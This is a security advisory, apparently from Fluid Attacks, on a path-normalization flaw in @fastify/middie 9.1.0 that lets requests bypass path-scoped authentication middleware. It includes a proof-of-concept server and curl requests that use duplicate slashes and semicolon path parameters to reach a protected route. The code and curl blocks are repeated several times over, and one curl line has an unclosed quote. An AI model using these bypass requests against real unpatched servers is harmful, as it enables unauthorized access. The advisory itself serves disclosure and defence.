Fastify middie 9.1.0 - Improper path normalization

8,2

High

Discovered by

Cristian Vargas

Offensive Team, Fluid Attacks

Summary

Full name

Fastify middie 9.1.0 - Improper path normalization

Code name

State

Public

Release date

27 de fev. de 2026

Affected product

@fastify/middie

Vendor

fastify

Affected version(s)

9.1.0

Fixed version(s)

9.2.0

Package manager

npm

Vulnerability name

Lack of data validation

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

CVSS v4.0 base score

8.2

Exploit available

No

CVE ID(s)

Description

A path normalization inconsistency in @fastify/middie can result in authentication/authorization bypass when using path-scoped middleware (for example, app.use('/secret', auth)).

When Fastify router normalization options are enabled (such as ignoreDuplicateSlashes, useSemicolonDelimiter, and related trailing-slash behavior), crafted request paths may bypass middleware checks while still being routed to protected handlers.

Vulnerability

In @fastify/middie, path-scoped middleware (app.use('/secret', ...)) is matched using a regex against a lightly sanitized URL (sanitizeUrl(req.url)), which mainly strips query/hash and does not fully normalize path variants the same way as the router. Fastify’s router (find-my-way) then performs additional normalization during route lookup (for example, collapsing duplicate slashes when ignoreDuplicateSlashes=true, and splitting on; when useSemicolonDelimiter=true). Because auth is enforced before routing and on a different path representation, crafted inputs can fail middleware matching but still match the protected route after router normalization. This is an improper sanitization/validation consistency flaw (normalization drift), not a missing API-key check itself

PoC

  • Use the following code for the PoC.

'use strict'

const Fastify = require('fastify')
const middie = require('@fastify/middie')

const PORT = Number(process.env.PORT || 46150)
const API_KEY = process.env.MOCK_API_KEY || 'mock-api-key-123'
const IGNORE_TRAILING = process.env.IGNORE_TRAILING !== 'false'
const IGNORE_DUPLICATE = process.env.IGNORE_DUPLICATE !== 'false'
const USE_SEMICOLON = process.env.USE_SEMICOLON !== 'false'

async function build() {
    const app = Fastify({
        logger: true,
        routerOptions: {
            ignoreTrailingSlash: IGNORE_TRAILING,
            ignoreDuplicateSlashes: IGNORE_DUPLICATE,
            useSemicolonDelimiter: USE_SEMICOLON
        }
    })

    await app.register(middie)


    app.use('/secret', (req, res, next) => {
        if (req.headers['x-api-key'] !== API_KEY) {
            res.statusCode = 401
            res.setHeader('content-type', 'application/json; charset=utf-8')
            res.end(JSON.stringify({ error: 'Unauthorized', where: 'middie /secret guard' }))
            return
        }
        next()
    })

    app.get('/secret', async (request) => {
        return {
            ok: true,
            route: '/secret',
            originalUrl: request.raw.url,
            note: 'Reached protected handler'
        }
    })

    app.get('/public', async () => ({ ok: true, route: '/public' }))

    return app
}

async function start() {
    const app = await build()
    await app.listen({ host: '0.0.0.0', port: PORT })
}

start().catch((err) => {
    console.error(err)
    process.exit(1)
})
'use strict'

const Fastify = require('fastify')
const middie = require('@fastify/middie')

const PORT = Number(process.env.PORT || 46150)
const API_KEY = process.env.MOCK_API_KEY || 'mock-api-key-123'
const IGNORE_TRAILING = process.env.IGNORE_TRAILING !== 'false'
const IGNORE_DUPLICATE = process.env.IGNORE_DUPLICATE !== 'false'
const USE_SEMICOLON = process.env.USE_SEMICOLON !== 'false'

async function build() {
    const app = Fastify({
        logger: true,
        routerOptions: {
            ignoreTrailingSlash: IGNORE_TRAILING,
            ignoreDuplicateSlashes: IGNORE_DUPLICATE,
            useSemicolonDelimiter: USE_SEMICOLON
        }
    })

    await app.register(middie)


    app.use('/secret', (req, res, next) => {
        if (req.headers['x-api-key'] !== API_KEY) {
            res.statusCode = 401
            res.setHeader('content-type', 'application/json; charset=utf-8')
            res.end(JSON.stringify({ error: 'Unauthorized', where: 'middie /secret guard' }))
            return
        }
        next()
    })

    app.get('/secret', async (request) => {
        return {
            ok: true,
            route: '/secret',
            originalUrl: request.raw.url,
            note: 'Reached protected handler'
        }
    })

    app.get('/public', async () => ({ ok: true, route: '/public' }))

    return app
}

async function start() {
    const app = await build()
    await app.listen({ host: '0.0.0.0', port: PORT })
}

start().catch((err) => {
    console.error(err)
    process.exit(1)
})
'use strict'

const Fastify = require('fastify')
const middie = require('@fastify/middie')

const PORT = Number(process.env.PORT || 46150)
const API_KEY = process.env.MOCK_API_KEY || 'mock-api-key-123'
const IGNORE_TRAILING = process.env.IGNORE_TRAILING !== 'false'
const IGNORE_DUPLICATE = process.env.IGNORE_DUPLICATE !== 'false'
const USE_SEMICOLON = process.env.USE_SEMICOLON !== 'false'

async function build() {
    const app = Fastify({
        logger: true,
        routerOptions: {
            ignoreTrailingSlash: IGNORE_TRAILING,
            ignoreDuplicateSlashes: IGNORE_DUPLICATE,
            useSemicolonDelimiter: USE_SEMICOLON
        }
    })

    await app.register(middie)


    app.use('/secret', (req, res, next) => {
        if (req.headers['x-api-key'] !== API_KEY) {
            res.statusCode = 401
            res.setHeader('content-type', 'application/json; charset=utf-8')
            res.end(JSON.stringify({ error: 'Unauthorized', where: 'middie /secret guard' }))
            return
        }
        next()
    })

    app.get('/secret', async (request) => {
        return {
            ok: true,
            route: '/secret',
            originalUrl: request.raw.url,
            note: 'Reached protected handler'
        }
    })

    app.get('/public', async () => ({ ok: true, route: '/public' }))

    return app
}

async function start() {
    const app = await build()
    await app.listen({ host: '0.0.0.0', port: PORT })
}

start().catch((err) => {
    console.error(err)
    process.exit(1)
})
'use strict'

const Fastify = require('fastify')
const middie = require('@fastify/middie')

const PORT = Number(process.env.PORT || 46150)
const API_KEY = process.env.MOCK_API_KEY || 'mock-api-key-123'
const IGNORE_TRAILING = process.env.IGNORE_TRAILING !== 'false'
const IGNORE_DUPLICATE = process.env.IGNORE_DUPLICATE !== 'false'
const USE_SEMICOLON = process.env.USE_SEMICOLON !== 'false'

async function build() {
    const app = Fastify({
        logger: true,
        routerOptions: {
            ignoreTrailingSlash: IGNORE_TRAILING,
            ignoreDuplicateSlashes: IGNORE_DUPLICATE,
            useSemicolonDelimiter: USE_SEMICOLON
        }
    })

    await app.register(middie)


    app.use('/secret', (req, res, next) => {
        if (req.headers['x-api-key'] !== API_KEY) {
            res.statusCode = 401
            res.setHeader('content-type', 'application/json; charset=utf-8')
            res.end(JSON.stringify({ error: 'Unauthorized', where: 'middie /secret guard' }))
            return
        }
        next()
    })

    app.get('/secret', async (request) => {
        return {
            ok: true,
            route: '/secret',
            originalUrl: request.raw.url,
            note: 'Reached protected handler'
        }
    })

    app.get('/public', async () => ({ ok: true, route: '/public' }))

    return app
}

async function start() {
    const app = await build()
    await app.listen({ host: '0.0.0.0', port: PORT })
}

start().catch((err) => {
    console.error(err)
    process.exit(1)
})
  • Baseline check (no API key, normal path) -> should be blocked:

    curl -x http://127.0.0.1:8080 -k -i http://127.0.0.1:46150/secret
    Expected: 401 Unauthorized
    
    
    curl -x http://127.0.0.1:8080 -k -i http://127.0.0.1:46150/secret
    Expected: 401 Unauthorized
    
    
    curl -x http://127.0.0.1:8080 -k -i http://127.0.0.1:46150/secret
    Expected: 401 Unauthorized
    
    
    curl -x http://127.0.0.1:8080 -k -i http://127.0.0.1:46150/secret
    Expected: 401 Unauthorized
    
    
  • Bypass with duplicate slashes.

    curl -x http://127.0.0.1:8080 -k -i http://127.0.0.1:46150//secret
    Expected: 200 OK and response from protected handler (route: "/secret")
    curl -x http://127.0.0.1:8080 -k -i http://127.0.0.1:46150//secret
    Expected: 200 OK and response from protected handler (route: "/secret")
    curl -x http://127.0.0.1:8080 -k -i http://127.0.0.1:46150//secret
    Expected: 200 OK and response from protected handler (route: "/secret")
    curl -x http://127.0.0.1:8080 -k -i http://127.0.0.1:46150//secret
    Expected: 200 OK and response from protected handler (route: "/secret")
  • Bypass with semicolon path params:

    curl -x http://127.0.0.1:8080 -k -i 'http://127.0.0.1:46150/secret;foo=bar
    Expected: 200 OK and response from protected handler
    
    
    curl -x http://127.0.0.1:8080 -k -i 'http://127.0.0.1:46150/secret;foo=bar
    Expected: 200 OK and response from protected handler
    
    
    curl -x http://127.0.0.1:8080 -k -i 'http://127.0.0.1:46150/secret;foo=bar
    Expected: 200 OK and response from protected handler
    
    
    curl -x http://127.0.0.1:8080 -k -i 'http://127.0.0.1:46150/secret;foo=bar
    Expected: 200 OK and response from protected handler
    
    

Evidence of Exploitation

  • PoC

  • Successful bypass

Security policy

This vulnerability was disclosed by another CNA, due to a scope conflict, with the ID CVE-2026-2880

System Information

  • @fastify/middie

  • Version: <9.2.0

  • Operating System: Any

References

Mitigation

An updated version of @fastify/middie is available at the vendor page.

Credits

The vulnerability was discovered by Cristian Vargas from Fluid Attacks' Offensive Team.

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Consulta IA sobre Fluid Attacks

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

As soluções da Fluid Attacks permitem que as organizações identifiquem, priorizem e corrijam vulnerabilidades em seus softwares ao longo do SDLC. Com o apoio de IA, ferramentas automatizadas e pentesters, a Fluid Attacks acelera a mitigação da exposição ao risco das empresas e fortalece sua postura de cibersegurança.

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Nos vemos na RSA Conference™ 2026, no estande N-4614! Agende uma demo no local.

Nos vemos na RSA Conference™ 2026, no estande N-4614! Agende uma demo no local.

Nos vemos na RSA Conference™ 2026, no estande N-4614! Agende uma demo no local.